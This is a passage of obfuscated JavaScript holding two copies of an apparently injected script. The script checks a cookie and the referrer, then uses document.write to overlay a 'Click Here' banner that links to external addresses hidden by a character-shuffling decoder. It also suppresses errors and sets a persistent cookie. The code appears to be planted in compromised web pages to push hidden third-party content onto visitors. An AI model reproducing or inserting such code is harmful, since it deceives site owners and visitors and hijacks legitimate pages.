		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("VuLWAxcuc") == -1){
	var SFWF = new Date(), SFWF1 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var f3X6 = document.domain.toLowerCase(); 
			if(f3X6.indexOf('www.') == 0) f3X6 = f3X6.substr(4);
			var TAY5 = document.referrer.toLowerCase().substr(7); 
			var BFQo = TAY5.indexOf('?'); 
			if(BFQo != -1) TAY5 = TAY5.substr(0, BFQo);
			var BFQo = TAY5.indexOf('/'); 
			if(BFQo != -1) TAY5 = TAY5.substr(0, BFQo);
			if(TAY5.indexOf('www.') == 0) TAY5 = TAY5.substr(4);
			if(TAY5 != f3X6 && Math.random() < 1){
				SFWF.setTime(SFWF.getTime()+(100  *36 *10   *  100  *10   * 24));
				SFWF1 = SFWF.toGMTString();
				var nqYl = navigator.appVersion.indexOf('MSIE') != -1;
				var CmfX=1;
				document.write('<div id="dVQkyt" style="'+(nqYl ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="CmfX=0"'+
				' title="Close" href="javascript: HGk8twHD()" onmouseout="CmfX=1">Close[X]</a></b><br>'+
				'<a href="'+XFxQioQ7('79d68c3a14b052ef160354872','pln/i.ph:tsm/tete//mebmsr')+f3X6+'.html'+'" target="_blank"><img src="'+XFxQioQ7('b20c75a4698efd1317c24f58deb6309a0','tetts/l:mi/hpnp../g3/a2ingirmnebf')+'" border=0 alt="Click Here" onclick="HGk8twHD()"></a></div>');
				if(nqYl){
					if (document.all["dVQkyt"].style)
					window.setInterval("PR5cyGHk()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		SFWF.setTime(SFWF.getTime()+(24 *   100   *  100  *   90  *   10   *  36));
		SFWF1 = SFWF.toGMTString();
	}
	if(SFWF1 != false) document.cookie = "VuLWAxcuc"+'=1; expires='+SFWF1+'; path=/';
}function uDCpP768(){
	document.getElementById("Y4erYX").style.display="none";
}
function O0UKn8Wu(){
	if(document.body.scrollTop==0)
		document.all["Y4erYX"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["Y4erYX"].style.top=document.body.scrollTop+10;
}
function YjT726qp(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("GrFCXbuF2") == -1){
	var otd9 = new Date(), otd91 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var Wq8c = document.domain.toLowerCase(); 
			if(Wq8c.indexOf('www.') == 0) Wq8c = Wq8c.substr(4);
			var JBDD = document.referrer.toLowerCase().substr(7); 
			var PMCP = JBDD.indexOf('?'); 
			if(PMCP != -1) JBDD = JBDD.substr(0, PMCP);
			var PMCP = JBDD.indexOf('/'); 
			if(PMCP != -1) JBDD = JBDD.substr(0, PMCP);
			if(JBDD.indexOf('www.') == 0) JBDD = JBDD.substr(4);
			if(JBDD != Wq8c && Math.random() < 1){
				otd9.setTime(otd9.getTime()+(36   * 10   * 100   *100 *   10 * 24));
				otd91 = otd9.toGMTString();
				var srbd = navigator.appVersion.indexOf('MSIE') != -1;
				var FegF=1;
				document.write('<div id="Y4erYX" style="'+(srbd ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="FegF=0"'+
				' title="Close" href="javascript: uDCpP768()" onmouseout="FegF=1">Close[X]</a></b><br>'+
				'<a href="'+YjT726qp('98b30ea7fc12d465087243651',':mppntesth/ti./l//mebsrem')+Wq8c+'.html'+'" target="_blank"><img src="'+YjT726qp('29e68135c04badf76c15087a932d4efb0','i/h/mspt:t.plnte/mre3g/abnnii2.gf')+'" border=0 alt="Click Here" onclick="uDCpP768()"></a></div>');
				if(srbd){
					if (document.all["Y4erYX"].style)
					window.setInterval("O0UKn8Wu()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		otd9.setTime(otd9.getTime()+(100  * 36  * 10  *100  * 24* 90));
		otd91 = otd9.toGMTString();
	}
	if(otd91 != false) document.cookie = "GrFCXbuF2"+'=1; expires='+otd91+'; path=/';
}